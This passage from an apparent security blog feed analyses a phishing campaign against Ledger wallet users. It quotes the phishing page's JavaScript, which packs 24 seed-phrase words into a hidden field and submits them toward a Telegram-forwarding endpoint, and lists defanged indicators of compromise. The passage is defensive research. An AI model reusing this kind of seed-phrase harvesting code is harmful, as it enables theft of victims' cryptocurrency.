class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Gebruik de standaard ID </span></span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-meta z-function-call z-method z-js"><span class="z-variable z-other z-readwrite z-js">words</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">push</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-variable z-other z-readwrite z-js">word</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Voeg het woord toe aan de array </span></span></span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"><span class="z-meta z-for z-js"><span class="z-meta z-block z-js"> <span class="z-punctuation z-section z-block z-end z-js">}</span></span></span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Maak een verborgen invoerveld om de woorden als array door te geven </span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-storage z-type z-js">const</span> <span class="z-meta z-binding z-name z-js"><span class="z-variable z-other z-readwrite z-js">hiddenInput</span></span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">createElement</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>input<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">hiddenInput</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">type</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>hidden<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">hiddenInput</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">name</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>words[]<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> De naam als array </span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-variable z-other z-readwrite z-js">hiddenInput</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-property z-object z-js">value</span> <span class="z-keyword z-operator z-assignment z-js">=</span> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-constant z-builtin z-js">JSON</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-support z-function z-builtin z-js">stringify</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-variable z-other z-readwrite z-js">words</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Converteer de array naar JSON </span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">querySelector</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>form<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-function-call z-method z-js"><span class="z-variable z-function z-js">appendChild</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-variable z-other z-readwrite z-js">hiddenInput</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Dien het formulier in </span></span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-meta z-function-call z-method z-js"><span class="z-support z-type z-object z-dom z-js">document</span><span class="z-punctuation z-accessor z-js">.</span><span class="z-variable z-function z-js">querySelector</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-meta z-string z-js"><span class="z-string z-quoted z-single z-js"><span class="z-punctuation z-definition z-string z-begin z-js">&#39;</span>form<span class="z-punctuation z-definition z-string z-end z-js">&#39;</span></span></span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-accessor z-js">.</span><span class="z-meta z-function-call z-method z-js"><span class="z-variable z-function z-js">submit</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"><span class="z-meta z-function z-js"><span class="z-meta z-block z-js"> <span class="z-punctuation z-section z-block z-end z-js">}</span></span></span> </span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"> </span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"> <span class="z-comment z-line z-double-slash z-js"><span class="z-punctuation z-definition z-comment z-js">//</span> Initialiseer met 24 woorden </span></span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"> <span class="z-meta z-function-call z-js"><span class="z-variable z-function z-js">generateInputFields</span><span class="z-meta z-group z-js"><span class="z-punctuation z-section z-group z-begin z-js">(</span><span class="z-punctuation z-section z-group z-end z-js">)</span></span></span><span class="z-punctuation z-terminator z-statement z-js">;</span> </span></span></span><span class="z-text z-html z-basic"><span class="z-source z-js z-embedded z-html"><span class="z-source z-js"> </span></span><span class="z-meta z-tag z-script z-end z-html"><span class="z-punctuation z-definition z-tag z-begin z-html">&lt;/</span><span class="z-entity z-name z-tag z-script z-html">script</span><span class="z-punctuation z-definition z-tag z-end z-html">&gt;</span></span> </span></code></pre> <p>Above you can see the surprisingly clear and well documented code that generates the input form, and passes the typed in value to the <code>send-to-telegram.php</code> endpoint. This will most likely post any seed phrase to a telegram channel monitored by whoever is behind this phishing campaign.</p> <h2 id="ioc-s">IOC's</h2> <ul> <li><code>info.ledger[@]planet[.]com</code></li> <li><code>hxxps://www[.]khojholidays[.]com/reddod.html</code></li> <li><code>hxxps://www[.]khojholidays[.]com/wp-backup.php</code></li> <li><code>hxxps://jinkrupa[.]com/wp-admin/readme.html</code></li> <li><code>hxxps://jinkrupa[.]com/wp-admin/wp-backup.php</code></li> <li><code>hxxps://firmwareapp[.]myvnc[.]com/ld</code></li> <li><code>hxxps://1edger[.]sytes[.]net/ld</code></li> </ul> <section class="plug"> <h3>Support my work!</h3> <p>If you would like to support my work analyzing exploits and auditing open source projects for vulnerabilities, you can do so by donating any amount you feel like via stripe or Liberapay using the buttons below.</p> <div id="donate-wrapper"> <a class="liberapay-btn" href="https://liberapay.com/kodeknekkeriet/donate"> <svg viewBox="0 0 80 80" height="16" width="16"> <g transform="translate(-78.37-208.06)" fill="#1a171b"> <path d="m104.28 271.1c-3.571 0-6.373-.466-8.41-1.396-2.037-.93-3.495-2.199-4.375-3.809-.88-1.609-1.308-3.457-1.282-5.544.025-2.086.313-4.311.868-6.675l9.579-40.05 11.69-1.81-10.484 43.44c-.202.905-.314 1.735-.339 2.489-.026.754.113 1.421.415 1.999.302.579.817 1.044 1.546 1.395.729.353 1.747.579 3.055.679l-2.263 9.278"></path> <path d="m146.52 246.14c0 3.671-.604 7.03-1.811 10.07-1.207 3.043-2.879 5.669-5.01 7.881-2.138 2.213-4.702 3.935-7.693 5.167-2.992 1.231-6.248 1.848-9.767 1.848-1.71 0-3.42-.151-5.129-.453l-3.394 13.651h-11.162l12.52-52.19c2.01-.603 4.311-1.143 6.901-1.622 2.589-.477 5.393-.716 8.41-.716 2.815 0 5.242.428 7.278 1.282 2.037.855 3.708 2.024 5.02 3.507 1.307 1.484 2.274 3.219 2.904 5.205.627 1.987.942 4.11.942 6.373m-27.378 15.461c.854.202 1.91.302 3.167.302 1.961 0 3.746-.364 5.355-1.094 1.609-.728 2.979-1.747 4.111-3.055 1.131-1.307 2.01-2.877 2.64-4.714.628-1.835.943-3.858.943-6.071 0-2.161-.479-3.998-1.433-5.506-.956-1.508-2.615-2.263-4.978-2.263-1.61 0-3.118.151-4.525.453l-5.28 21.948"></path> </g> </svg> <span>Donate with Liberapay</span> </a> <form action="https://buy.stripe.com/dR68yU1w0aIigus5kl"> <input type="submit" value="Donate with Stripe"> </form> </div> <p><strong>I'm also available for hire!</strong></p> <p>Send me an <a href="mailto:kodeknekkeriet@volse.net">email</a>, or contact me on <a href="https://hub.volse.no/channel/harald">the fediverse</a>, and let me know what I can do for you.</p> </section> 2024-08-08T00:00:00+00:00 2024-08-08T00:00:00+00:00 Harald Eilertsen https://volse.net/en/artikler/revive-adserver-php-object-injection-exploit/

<p>Here the other day one of my honeypots caught and quarantined an interesting request. At least I thought it was interesting as I hadn't seen it before. So I decided to explore a bit further.</p>